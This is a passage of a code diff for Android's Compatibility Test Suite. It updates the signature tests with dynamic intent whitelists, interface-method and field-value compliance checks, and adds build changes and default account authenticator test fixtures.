             new File("/data/local/tmp/signature-test-packages");
     private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
     private static final String ACTION_LINE_PREFIX = "          Action: ";
-    private static final Set<String> INTENT_WHITELIST = getIntentWhitelist();
+    private static final String MODULE_NAME = "CtsSignatureTestCases";
 
     private PackageManager mPackageManager;
+    private Set<String> intentWhitelist;
 
     @Before
-    public void setupPackageManager() {
+    public void setupPackageManager() throws Exception {
       mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+      intentWhitelist = getIntentWhitelist();
     }
 
     @Test
     public void shouldNotFindUnexpectedIntents() throws Exception {
         Set<String> platformIntents = lookupPlatformIntents();
-        platformIntents.addAll(INTENT_WHITELIST);
+        platformIntents.addAll(intentWhitelist);
 
         Set<String> allInvalidIntents = new HashSet<>();
 
@@ -268,9 +272,18 @@
         }
     }
 
-    private static Set<String> getIntentWhitelist() {
+    private static Set<String> getIntentWhitelist() throws Exception {
         Set<String> whitelist = new HashSet<>();
 
+        DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
+        List<String> intentWhitelist = dcds.getValues("intent_whitelist");
+
+        // Log the whitelist Intent
+        for (String intent : intentWhitelist) {
+           Log.d(TAG, String.format("whitelist add: %s", intent));
+           whitelist.add(intent);
+        }
+
         return whitelist;
     }
 }
diff --git a/tests/signature/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
index 0cba3b4..2d13ed2 100644
--- a/tests/signature/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
@@ -31,6 +31,7 @@
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
 import java.util.Set;
 
 /**
@@ -50,6 +51,25 @@
     /** Indicates that the method is a synthetic method. */
     private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
 
+    private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
+    static {
+        // Interfaces that define @hide methods will by definition contain
+        // methods that do not appear in current.txt. Interfaces added to this
+        // list are probably not meant to be implemented in an application.
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
+        HIDDEN_INTERFACE_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
+        HIDDEN_INTERFACE_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
+    }
+
     public enum JDiffType {
         INTERFACE, CLASS
     }
@@ -759,7 +779,12 @@
                             field.toReadableString(mAbsoluteClassName),
                             "Non-compatible field modifiers found when looking for " +
                             field.toSignatureString());
-                } else if (!f.getType().getCanonicalName().equals(field.mFieldType)) {
+                } else if (!checkFieldValueCompliance(field, f)) {
+                    mResultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+                            field.toReadableString(mAbsoluteClassName),
+                            "Incorrect field value found when looking for " +
+                            field.toSignatureString());
+                }else if (!f.getType().getCanonicalName().equals(field.mFieldType)) {
                     // type name does not match, but this might be a generic
                     String genericTypeName = null;
                     Type type = f.getGenericType();
@@ -787,6 +812,194 @@
     }
 
     /**
+     * Checks whether the field values are compatible.
+     *
+     * @param apiField The field as defined by the platform API.
+     * @param deviceField The field as defined by the device under test.
+     */
+    private boolean checkFieldValueCompliance(JDiffField apiField, Field deviceField)
+            throws IllegalAccessException {
+        if ((apiField.mModifier & Modifier.FINAL) == 0 ||
+                (apiField.mModifier & Modifier.STATIC) == 0) {
+            // Only final static fields can have fixed values.
+            return true;
+        }
+        if (apiField.getValueString() == null) {
+            // If we don't define a constant value for it, then it can be anything.
+            return true;
+        }
+        // Some fields may be protected or package-private
+        deviceField.setAccessible(true);
+        switch(apiField.mFieldType) {
+            case "byte":
+                return Objects.equals(apiField.getValueString(),
+                        Byte.toString(deviceField.getByte(null)));
+            case "char":
+                return Objects.equals(apiField.getValueString(),
+                        Integer.toString(deviceField.getChar(null)));
+            case "short":
+                return Objects.equals(apiField.getValueString(),
+                        Short.toString(deviceField.getShort(null)));
+            case "int":
+                return Objects.equals(apiField.getValueString(),
+                        Integer.toString(deviceField.getInt(null)));
+            case "long":
+                return Objects.equals(apiField.getValueString(),
+                        Long.toString(deviceField.getLong(null)) + "L");
+            case "float":
+                return Objects.equals(apiField.getValueString(),
+                        canonicalizeFloatingPoint(
+                            Float.toString(deviceField.getFloat(null)), "f"));
+            case "double":
+                return Objects.equals(apiField.getValueString(),
+                        canonicalizeFloatingPoint(
+                            Double.toString(deviceField.getDouble(null)), ""));
+            case "boolean":
+                return Objects.equals(apiField.getValueString(),
+                        Boolean.toString(deviceField.getBoolean(null)));
+            case "java.lang.String":
+                String value = apiField.getValueString();
+                // Remove the quotes the value string is wrapped in
+                value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
+                return Objects.equals(value, deviceField.get(null));
+            default:
+                return true;
+        }
+    }
+
+    /**
+     * Canonicalize the string representation of floating point numbers.
+     *
+     * This needs to be kept in sync with the doclava canonicalization.
+     */
+    private static final String canonicalizeFloatingPoint(String val, String suffix) {
+        if (val.equals("Infinity")) {
+            return "(1.0" + suffix + "/0.0" + suffix + ")";
+        } else if (val.equals("-Infinity")) {
+            return "(-1.0" + suffix + "/0.0" + suffix + ")";
+        } else if (val.equals("NaN")) {
+            return "(0.0" + suffix + "/0.0" + suffix + ")";
+        }
+
+        String str = val.toString();
+        if (str.indexOf('E') != -1) {
+            return str + suffix;
+        }
+
+        // 1.0 is the only case where a trailing "0" is allowed.
+        // 1.00 is canonicalized as 1.0.
+        int i = str.length() - 1;
+        int d = str.indexOf('.');
+        while (i >= d + 2 && str.charAt(i) == '0') {
+            str = str.substring(0, i--);
+        }
+        return str + suffix;
+    }
+
+
+    // This unescapes the string format used by doclava and so needs to be kept in sync with any
+    // changes made to that format.
+    private static String unescapeFieldStringValue(String str) {
+        final int N = str.length();
+
+        // If there's no special encoding strings in the string then just return it.
+        if (str.indexOf('\\') == -1) {
+            return str;
+        }
+
+        final StringBuilder buf = new StringBuilder(str.length());
+        char escaped = 0;
+        final int START = 0;
+        final int CHAR1 = 1;
+        final int CHAR2 = 2;
+        final int CHAR3 = 3;
+        final int CHAR4 = 4;
+        final int ESCAPE = 5;
+        int state = START;
+
+        for (int i=0; i<N; i++) {
+            final char c = str.charAt(i);
+            switch (state) {
+                case START:
+                    if (c == '\\') {
+                        state = ESCAPE;
+                    } else {
+                        buf.append(c);
+                    }
+                    break;
+                case ESCAPE:
+                    switch (c) {
+                        case '\\':
+                            buf.append('\\');
+                            state = START;
+                            break;
+                        case 't':
+                            buf.append('\t');
+                            state = START;
+                            break;
+                        case 'b':
+                            buf.append('\b');
+                            state = START;
+                            break;
+                        case 'r':
+                            buf.append('\r');
+                            state = START;
+                            break;
+                        case 'n':
+                            buf.append('\n');
+                            state = START;
+                            break;
+                        case 'f':
+                            buf.append('\f');
+                            state = START;
+                            break;
+                        case '\'':
+                            buf.append('\'');
+                            state = START;
+                            break;
+                        case '\"':
+                            buf.append('\"');
+                            state = START;
+                            break;
+                        case 'u':
+                            state = CHAR1;
+                            escaped = 0;
+                            break;
+                    }
+                    break;
+                case CHAR1:
+                case CHAR2:
+                case CHAR3:
+                case CHAR4:
+                    escaped <<= 4;
+                    if (c >= '0' && c <= '9') {
+                        escaped |= c - '0';
+                    } else if (c >= 'a' && c <= 'f') {
+                        escaped |= 10 + (c - 'a');
+                    } else if (c >= 'A' && c <= 'F') {
+                        escaped |= 10 + (c - 'A');
+                    } else {
+                        throw new RuntimeException(
+                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
+                                + str + "\"");
+                    }
+                    if (state == CHAR4) {
+                        buf.append(escaped);
+                        state = START;
+                    } else {
+                        state++;
+                    }
+                    break;
+            }
+        }
+        if (state != START) {
+            throw new RuntimeException("unfinished escape sequence: " + str);
+        }
+        return buf.toString();
+    }
+
+
+    /**
      * Finds the reflected field specified by the field description.
      *
      * @param field the field description to find
@@ -906,6 +1119,40 @@
     }
 
     /**
+     * Validate that an interfaces method count is as expected.
+     */
+    private List<String> checkInterfaceMethodCompliance() {
+        List<String> unexpectedMethods = new ArrayList<>();
+        for (Method method : mClass.getDeclaredMethods()) {
+            if (method.isDefault()) {
+                continue;
+            }
+            if (method.isSynthetic()) {
+                continue;
+            }
+            if (method.isBridge()) {
+                continue;
+            }
+            if (HIDDEN_INTERFACE_WHITELIST.contains(method.toGenericString())) {
+                continue;
+            }
+
+            boolean foundMatch = false;
+            for (JDiffMethod jdiffMethod : jDiffMethods) {
+                if (matches(jdiffMethod, method)) {
+                    foundMatch = true;
+                }
+            }
+            if (!foundMatch) {
+                unexpectedMethods.add(method.toGenericString());
+            }
+        }
+
+        return unexpectedMethods;
+
+    }
+
+    /**
      * Checks that the class found through reflection matches the
      * specification from the API xml file.
      */
@@ -929,6 +1176,15 @@
 
                 return;
             }
+
+            List<String> methods = checkInterfaceMethodCompliance();
+            if (JDiffType.INTERFACE.equals(mClassType) && methods.size() > 0) {
+                mResultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
+                        mAbsoluteClassName, "Interfaces cannot be modified: "
+                                + mAbsoluteClassName + ": " + methods);
+                return;
+            }
+
             if (!checkClassModifiersCompliance()) {
                 logMismatchInterfaceSignature(mAbsoluteClassName,
                         "Non-compatible class found when looking for " +
diff --git a/tests/signature/tests/Android.mk b/tests/signature/tests/Android.mk
index f17ee47..0c9c24c 100644
--- a/tests/signature/tests/Android.mk
+++ b/tests/signature/tests/Android.mk
@@ -21,6 +21,6 @@
 
 LOCAL_MODULE := signature-tests
 LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt cts-tradefed signature-hostside
+LOCAL_JAVA_LIBRARIES := tradefed cts-tradefed signature-hostside
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/signature/tests/run_unit_tests.sh b/tests/signature/tests/run_unit_tests.sh
index 19ce8d2..02f914c 100755
--- a/tests/signature/tests/run_unit_tests.sh
+++ b/tests/signature/tests/run_unit_tests.sh
@@ -36,7 +36,7 @@
 fi;
 
 JAR_DIR=${ANDROID_BUILD_TOP}/out/host/$OS/framework
-JARS="tradefed-prebuilt.jar hosttestlib.jar signature-hostside.jar signature-tests.jar"
+JARS="tradefed.jar hosttestlib.jar signature-hostside.jar signature-tests.jar"
 
 for JAR in $JARS; do
     checkFile ${JAR_DIR}/${JAR}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java b/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
index 9cd84c7..6e477ae 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
@@ -252,7 +252,7 @@
                 "public transient java.lang.String TRANSIENT_FIELD");
     }
 
-    public void testPacakgeField() {
+    public void testPackageField() {
         JDiffClassDescription clz = createNormalClass();
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
                 "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
@@ -279,6 +279,30 @@
         assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
     }
 
+    public void testFieldValue() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "VALUE_FIELD", "java.lang.String",
+                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"\\u2708\"");
+        clz.addField(field);
+        clz.checkSignatureCompliance();
+        assertEquals(field.toSignatureString(),
+                "public static final java.lang.String VALUE_FIELD");
+    }
+
+    public void testFieldValueChanged() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
+        JDiffClassDescription clz = createNormalClass(observer);
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "VALUE_FIELD", "java.lang.String",
+                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"&#9992;\"");
+        clz.addField(field);
+        clz.checkSignatureCompliance();
+        assertEquals(field.toSignatureString(),
+                "public static final java.lang.String VALUE_FIELD");
+        observer.validate();
+    }
+
     public void testInnerClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "NormalClass.InnerClass", new NoFailures());
@@ -311,7 +335,8 @@
         clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
         clz.setModifier(Modifier.PUBLIC | Modifier.STATIC | Modifier.ABSTRACT);
         clz.addMethod(
-                new JDiffClassDescription.JDiffMethod("doSomething", Modifier.PUBLIC, "void"));
+                new JDiffClassDescription.JDiffMethod("doSomething",
+                    Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
         clz.checkSignatureCompliance();
         assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
     }
@@ -322,7 +347,8 @@
         clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
         clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
         clz.addMethod(
-                new JDiffClassDescription.JDiffMethod("doSomething", Modifier.PUBLIC, "void"));
+                new JDiffClassDescription.JDiffMethod("doSomething",
+                    Modifier.ABSTRACT| Modifier.PUBLIC, "void"));
         clz.checkSignatureCompliance();
         assertEquals(clz.toSignatureString(), "public interface NormalInterface");
     }
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java b/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
index 5acd696..db47967 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
@@ -47,6 +47,7 @@
     public static String STATIC_FIELD;
     public volatile String VOLATILE_FIELD;
     public transient String TRANSIENT_FIELD;
+    public final static String VALUE_FIELD = "\u2708";
     String PACAKGE_FIELD;
     private String PRIVATE_FIELD;
     protected String PROTECTED_FIELD;
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index 7183b2c..cb13016 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -21,7 +21,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_JNI_SHARED_LIBRARIES := libctscpu_jni
 
diff --git a/tests/simplecpu/AndroidTest.xml b/tests/simplecpu/AndroidTest.xml
index b48ae43..9192e8b 100644
--- a/tests/simplecpu/AndroidTest.xml
+++ b/tests/simplecpu/AndroidTest.xml
@@ -13,8 +13,9 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS File System test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+<configuration description="Config for CTS CPU test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSimpleCpuTestCases.apk" />
     </target_preparer>
diff --git a/tests/simplecpu/src/android/simplecpu/cts/SimpleCpuTest.java b/tests/simplecpu/src/android/simplecpu/cts/SimpleCpuTest.java
index 9f72d31..3e60b6d 100644
--- a/tests/simplecpu/src/android/simplecpu/cts/SimpleCpuTest.java
+++ b/tests/simplecpu/src/android/simplecpu/cts/SimpleCpuTest.java
@@ -16,9 +16,9 @@
 
 package android.simplecpu.cts;
 
-import android.cts.util.CtsAndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk
index 9be491c..e15d259 100644
--- a/tests/systemAppTest/test/Android.mk
+++ b/tests/systemAppTest/test/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index 8777e7d..9ee9ba1 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,12 +22,18 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsAccountTestsCommon ctstestrunner legacy-android-test
+    CtsAccountTestsCommon ctstestrunner
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
 LOCAL_PACKAGE_NAME := CtsAccountManagerTestCases
 
+LOCAL_MIN_SDK_VERSION  := 1
+
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
diff --git a/tests/tests/accounts/AndroidManifest.xml b/tests/tests/accounts/AndroidManifest.xml
index d882690..73535bc 100644
--- a/tests/tests/accounts/AndroidManifest.xml
+++ b/tests/tests/accounts/AndroidManifest.xml
@@ -17,6 +17,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.accounts.cts">
+    <uses-sdk android:minSdkVersion="1"
+          android:targetSdkVersion="26"/>
 
     <!-- Don't need GET_ACCOUNTS because share a Uid with the relevant
          authenticators -->
@@ -36,6 +38,8 @@
         <activity android:name="android.accounts.cts.AccountRemovalDummyActivity" >
         </activity>
 
+        <activity android:name="android.accounts.cts.AccountAuthenticatorDummyActivity" />
+
         <service android:name="MockAccountService" android:exported="true"
                  android:process="android.accounts.cts">
             <intent-filter>
diff --git a/tests/tests/accounts/AndroidTest.xml b/tests/tests/accounts/AndroidTest.xml
index c15cdce..b6ad758 100644
--- a/tests/tests/accounts/AndroidTest.xml
+++ b/tests/tests/accounts/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Accounts test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUnaffiliatedAccountAuthenticators.apk" />
         <option name="test-file-name" value="CtsAccountManagerTestCases.apk" />
@@ -23,4 +24,4 @@
         <option name="package" value="android.accounts.cts" />
         <option name="runtime-hint" value="1m25s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 73fb4f3..2a4f8d3 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -23,6 +23,8 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_MIN_SDK_VERSION  := 1
+
 LOCAL_SDK_VERSION := current
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
@@ -38,7 +40,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_SDK_VERSION := current
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml
index c32f89f..642b3d8 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/AndroidManifest.xml
@@ -17,6 +17,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.accounts.cts.unaffiliated">
+    <uses-sdk android:minSdkVersion="1"
+          android:targetSdkVersion="26"/>
 
     <!-- Used for AccountManagerService test, don't delete this permission -->
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
@@ -41,6 +43,16 @@
             <meta-data android:name="android.accounts.AccountAuthenticator"
                        android:resource="@xml/standard_authenticator" />
         </service>
+
+        <service
+                android:name=".DefaultAccountAuthService"
+                android:exported="false">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                       android:resource="@xml/default_authenticator" />
+        </service>
 <!--
         <service android:name=".CustomAccountAuthService" android:exported="false">
             <intent-filter>
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/res/xml/default_authenticator.xml b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/res/xml/default_authenticator.xml
new file mode 100644
index 0000000..d920f49
--- /dev/null
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/res/xml/default_authenticator.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/**
+ * Copyright (c) 2016, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+-->
+
+<!-- The attributes in this XML file provide configuration information -->
+<!-- for the Account Manager. -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.accounts.test.default"
+    android:icon="@drawable/ic_cts_selected"
+    android:smallIcon="@drawable/ic_cts_minitab_selected"
+    android:label="@string/label"
+/>
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/src/android/accounts/cts/unaffiliated/DefaultAccountAuthService.java b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/src/android/accounts/cts/unaffiliated/DefaultAccountAuthService.java
new file mode 100644
index 0000000..b2dca9d
--- /dev/null
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/src/android/accounts/cts/unaffiliated/DefaultAccountAuthService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accounts.cts.unaffiliated;
+
+import android.accounts.cts.common.Fixtures;
+import android.accounts.cts.common.TestDefaultAuthenticator;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+/**
+ * a basic Mock Service for wrapping the TestDefaultAuthenticator
+ */
+public class DefaultAccountAuthService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        TestDefaultAuthenticator auth =
+                new TestDefaultAuthenticator(this, Fixtures.TYPE_DEFAULT);
+        return auth.getIBinder();
+    }
+}
diff --git a/tests/tests/accounts/common/Android.mk b/tests/tests/accounts/common/Android.mk
index cac9c5e..0b208dd 100644
--- a/tests/tests/accounts/common/Android.mk
+++ b/tests/tests/accounts/common/Android.mk
@@ -30,6 +30,8 @@
 
 LOCAL_MODULE:= CtsAccountTestsCommon
 
+LOCAL_MIN_SDK_VERSION  := 1
+
 LOCAL_SDK_VERSION := current
 
 # Build the actual static library
diff --git a/tests/tests/accounts/common/AndroidManifest.xml b/tests/tests/accounts/common/AndroidManifest.xml
index 6e6d107..36a0774 100644
--- a/tests/tests/accounts/common/AndroidManifest.xml
+++ b/tests/tests/accounts/common/AndroidManifest.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.accounts.test.shared">
-    <uses-sdk
-        android:minSdkVersion="4" />
+    <uses-sdk android:minSdkVersion="1"
+          android:targetSdkVersion="26"/>
     <application />
 </manifest>
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/Fixtures.java b/tests/tests/accounts/common/src/android/accounts/cts/common/Fixtures.java
index f8636a0..dfa5945 100644
--- a/tests/tests/accounts/common/src/android/accounts/cts/common/Fixtures.java
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/Fixtures.java
@@ -28,12 +28,14 @@
 
     public static final String TYPE_CUSTOM = "android.accounts.test.custom";
     public static final String TYPE_STANDARD = "android.accounts.test.standard";
+    public static final String TYPE_DEFAULT = "android.accounts.test.default";
 
     public static final String TYPE_STANDARD_UNAFFILIATED =
             "android.accounts.test.standard.unaffiliated";
 
     public static final String PREFIX_TOKEN = "token:";
     public static final String PREFIX_PASSWORD = "password:";
+    public static final String PREFIX_STATUS_TOKEN = "status_token:";
 
     public static final String SUFFIX_NAME_FIXTURE = "fixture.com";
     public static final String SUFFIX_NAME_TEST = "test.com";
@@ -52,6 +54,10 @@
             PREFIX_NAME_SUCCESS + "@" + SUFFIX_NAME_FIXTURE,
             TYPE_STANDARD_UNAFFILIATED);
 
+    public static final Account ACCOUNT_DEFAULT = new Account(
+            PREFIX_NAME_SUCCESS + "@" + SUFFIX_NAME_FIXTURE,
+            TYPE_DEFAULT);
+
     public static List<String> getFixtureAccountNames() {
         List<String> accountNames = new ArrayList<>(accountNamePrefixes.length);
         for (String prefix : accountNamePrefixes) {
@@ -70,5 +76,9 @@
     public static final String KEY_RESULT = "test:result";
     public static final String KEY_TOKEN_EXPIRY = "test:token_duration";
 
+    public static final String KEY_ACCOUNT_SESSION_BUNDLE = "test:account_session_bundle";
+    public static final String ACCOUNT_STATUS_TOKEN_UNAFFILIATED =
+            "android.accounts.cts.unaffiliated.account.status.token";
+
     private Fixtures() {}
 }
diff --git a/tests/tests/accounts/common/src/android/accounts/cts/common/TestAccountAuthenticator.java b/tests/tests/accounts/common/src/android/accounts/cts/common/TestAccountAuthenticator.java
index 1fac1ea..46da211 100644
--- a/tests/tests/accounts/common/src/android/accounts/cts/common/TestAccountAuthenticator.java
+++ b/tests/tests/accounts/common/src/android/accounts/cts/common/TestAccountAuthenticator.java
@@ -26,18 +26,22 @@
 import android.accounts.cts.common.tx.GetAuthTokenLabelTx;
 import android.accounts.cts.common.tx.GetAuthTokenTx;
 import android.accounts.cts.common.tx.HasFeaturesTx;
+import android.accounts.cts.common.tx.StartAddAccountSessionTx;
+import android.accounts.cts.common.tx.StartUpdateCredentialsSessionTx;
 import android.accounts.cts.common.tx.UpdateCredentialsTx;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
 
 import java.util.Arrays;
+import java.util.concurrent.atomic.AtomicInteger;
 
 public class TestAccountAuthenticator extends AbstractAccountAuthenticator {
 
     private final String mAccountType;
     private final Context mContext;
     private volatile int mCounter = 0;
+    private final AtomicInteger mTokenCounter  = new AtomicInteger(0);
 
     public TestAccountAuthenticator(Context context, String accountType) {
         super(context);
@@ -87,14 +91,7 @@
             result.putParcelable(AccountManager.KEY_INTENT, intent);
         } else {
             // fill with error
-            int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
-            String errorMsg = "Default Error Message";
-            if (options != null) {
-                errorCode = options.getInt(AccountManager.KEY_ERROR_CODE);
-                errorMsg = options.getString(AccountManager.KEY_ERROR_MESSAGE);
-            }
-            result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
-            result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+            fillDefaultError(result, options);
         }
 
         try {
@@ -140,15 +137,7 @@
